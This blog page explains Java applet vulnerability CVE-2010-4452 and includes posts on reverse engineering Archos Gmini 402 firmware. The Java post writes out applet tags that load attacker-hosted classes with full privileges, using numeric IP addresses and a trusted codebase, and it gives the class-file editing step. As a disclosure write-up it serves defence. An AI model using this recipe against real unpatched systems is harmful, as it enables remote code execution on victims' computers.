Oracle Java Unsigned Applet Applet2ClassLoader Remote Code Execution Vulnerability (ZDI-11-084 explained)

Details can be found at ZDI and CVE, and Oracle :
ZDI-11-084
CVE-2010-4452
Oracle

This vulnerability allows an untrusted applet to gain all privileges. Untrusted applets launch without user interaction (other than visiting a web page containing the <applet> tag, of course).

The vulnerability

Prior to version 1.6.0_24, the JRE allowed to load a class from an URL without checking if it matched the protocol, host, and port of the document containing the applet. This means that things like that:

<applet codebase=”http://somesite.com/” code=”http://attackersite.com/AttackerCode” />

would try to load the class located at http://attackersite.com/AttackerCode.class as if it came from the URL http://somesite.com/. The content of the “code” attribute was assumed to be a class name, no check was made, but when passing it as an argument to the URL constructor, it would be parsed as an absolute URL, as the protocol is present.

However, that is not enough to actually make the JRE download and load the file http://attackersite.com/AttackerCode.class. This is because every dot is replaced by a slash before the URL is instantiated. In our case, http://attackersite.com/AttackerCode would become http://attackersite/com/AttackerCode, and the download would fail.

This is where an old trick makes everything possible: IP addresses have a lot of possible notations. Among them, one I call the numeric notation: take the 4 bytes of the IP address, concatenate them to obtain a 4 bytes word, and convert this word to a decimal number. Example: take 192.168.0.1, or C0.A8.00.01. Convert C0A80001 to a decimal number, you get 3232235521. This notation is valid almost everywhere, including the JRE.

So, if we consider the following tag:

<applet codebase=”http://somesite.com/” code=”http://3232235521/AttackerCode” />

This time, the JRE will download the class file located at http://192.168.0.1/AttackerCode.class and load it as of it came from http://somesite.com/.

Executing arbitrary code

Unsigned applets are sandboxed and shouldn’t be able to do any harm to a computer. However, the JRE has a set of trusted classes, which are granted all permissions.

All the classes located at the “lib\ext” folder of the JRE installation folder are trusted classes. By using this folder as the codebase of an applet, the applet will be considered trusted and be granted all privileges:

<applet codebase=”file:C:\Program Files\Java\jre6\lib\ext” code=”http://3232235522/AttackerCode” />

The AttackerCode.class file needs to be modified for the JVM to accept to load it: the “code” attribute of the applet tag is supposed to be the class name. If the class name doesn’t match it, the JVM will refuse to load the class. The easiest way to fix that is to make the applet name length match the length of the “code” attribute, and then to edit the class file with an hexadecimal editor. The name is very easy to spot, it’s near the beginning of the file. Once it’s changed to http://3232235522/AttackerCode, the JVM will load the class. The new name isn’t valid to the java compiler, but the JVM doesn’t care.

Also, no http server will accept an all numeric string as a valid host. Even though, this vulnerability remains easy to exploit, and is very reliable.

How Oracle fixed it

Oracle fixed it in Java 1.6.0_24 by checking early in the process of loading an applet if the code attribute has the same protocol, host, and port as the codebase attribute. And, just in case, they added the same check to Applet2ClassLoader, even though the URL mismatch will be detected earlier.

Upgrade to Java 1.6.0_24.

Java 1.6.0_24 fixes a lot of other security vulnerabilities. Sami Koivu details ZDI-11-083 on his blog.

Posted in Software vulnerability | 37 Comments

Firmware Loader for Gmini 402 CC too

Thanks to migge, a member of archosfans forums, I’ve been able to create a 402 CC version of the firmware loader.

However, I didn’t release it until now because I didn’t have a chance to test it. As I recently bought a Gmini 402 CC, I’ve been able to test it, so here it is.

Firmware loader is an utility which enables to temporarily load any firmware on Gmini 402 and 402 CC devices, from a firmware update file (.AOS). After a reboot, the device comes back to its original state.

Download:

Firmware upgrades files (AOS) for Gmini 402:

Firmware upgrades for Gmini 402 CC:

Note: these are links to archos site, so they may not work in the future.

Posted in Archos Gmini 402 | 8 Comments

Gmini 402 firmware loader

The Gmini 402 firmware loader is an utility which allows to temporarily load any firmware on the device, without flashing it. This means that after a reboot, the original firmware will load as it would normally do.

This utility loads any firmware from an AOS (firmware upgrade) file provided by Archos. These files are normally used to upgrade the firmware, and usually don’t allow to downgrade to an older firmware version. Thanks to a lot of reverse engineering, I have reversed the AOS1 file format, allowing the development of the firmware loader.

To use it, download the zip archive from the link given below. Then extract it to the root of your Gmini 402. It will create a file named “firmware-loader.avi”, and a “firmwares” directory. Then, download and put some AOS files into this “firmwares” directory.

Launch firmware-loader.avi from your Gmini 402, it will show you the list of the AOS files present in the “firmwares” directory. Pick one, validate with the square button, and a few seconds after, the firmware you picked will be loaded. Reboot your device to get back to the original firmware.

This utility is compatible (for now) only with the Gmini 402 (not CC), with firmware 1.3.11 (like any MediOS app).

Download it here:

Download AOS upgrades here (these links link directly to archos.com, so they may not work in the future, but will still be available through archos.com):

Note: I can make a Gmini 402cc version of the firmware loader, I just need someone with a Gmini 402cc to run a program on it and give me the output. Let me know if you want it.

Note 2: While reversing Archos firmware, I found that Archos implementation of RSA is very slow (mainly because they don’t use any “mod” optimization). In half a day, I implemented from scratch an RSA implementation which uses Barrett reduction, which is about 1,000 times faster.

Note 3: I’ll publish the details of the AOS1 file format soon.

Posted in Archos Gmini 402 | 3 Comments

AOS1 file format reverse engineered

I’ve successfully reverse engineered the AOS1 file format. This means I can load any firmware on the Gmini 402 (or any device which uses the format) from an update file (*.AOS).

In a few weeks, I’ll release an utility allowing to load any firmware from an AOS update file, without flashing the device. This means it’ll be possible to temporarily use firmware 1.5.12 on a Gmini 402 1.3.11, and after a reboot, come back automatically to 1.3.11. This is useful for using USB Host mode with some cameras (like Canon ones) which were not detected by 1.3.11, and still use the 1.3.11 exploit to load mediOS and apps. Here is a piece of changelog of firmware 1.5.10:

USB Host: Cameras with proprietary protocols are detected and users are advised to switch it to a PTP or MSC protocol (notably Canon cameras)

Of course, temporarily loading a firmware was already possible, but releasing an utility to do so wasn’t, because it implied releasing copyrighted code from Archos. The utility I’ll release uses the AOS files provided by Archos, so there’s no copyright problem anymore.

Along with releasing the utility, I’ll detail the AOS1 file format.

The bootloader I aim to release will include this utility, to allow to boot on any firmware and mediOS and apps.

Posted in Archos Gmini 402 | 22 Comments

Placing breakpoints in the original firmware

When booting, the firmware erases IRAM and RAM.
However, it’s easy to patch the code which erases IRAM. Then, by analyzing the firmware a little further, I noticed a safe location in IRAM to place my own code.

By digging a bit more in the firmware, I found the function that will show a messagebox, and a few other functions related to the UI (displaying bottom buttons, …).

Using medios, I can reload the original firmware, patch it with a breakpoint (currently a very simple 8 bytes branch) and execute my code. Then, inside my code, I can show a message box with any value I want, including register values, memory, … The only problem is that the device will crash after showing the message box because the breakpoint corrupts the stack. But it still enables to see some very interesting things.

Posted in Archos Gmini 402 | 3 Comments

Gmini 402 bootloader

I’m starting to work on an Archos Gmini 402 bootloader (link to the FAQ page – the product page seems to have been removed… It is still present on the store though).

It’s a pretty old device (released in 2005), but I find the challenge interesting. It has already been jailbroken, but the current exploit uses a malformed AVI file to execute arbitrary code. My goal is to replace the firmware with a bootloader, in order to allow to choose between MediOS and the original Archos firmware.

So I dumped the ROM, descrambled the firmware (the descrambling code can be found in MediOS). Let’s get to work now.

Posted in Archos Gmini 402 | 10 Comments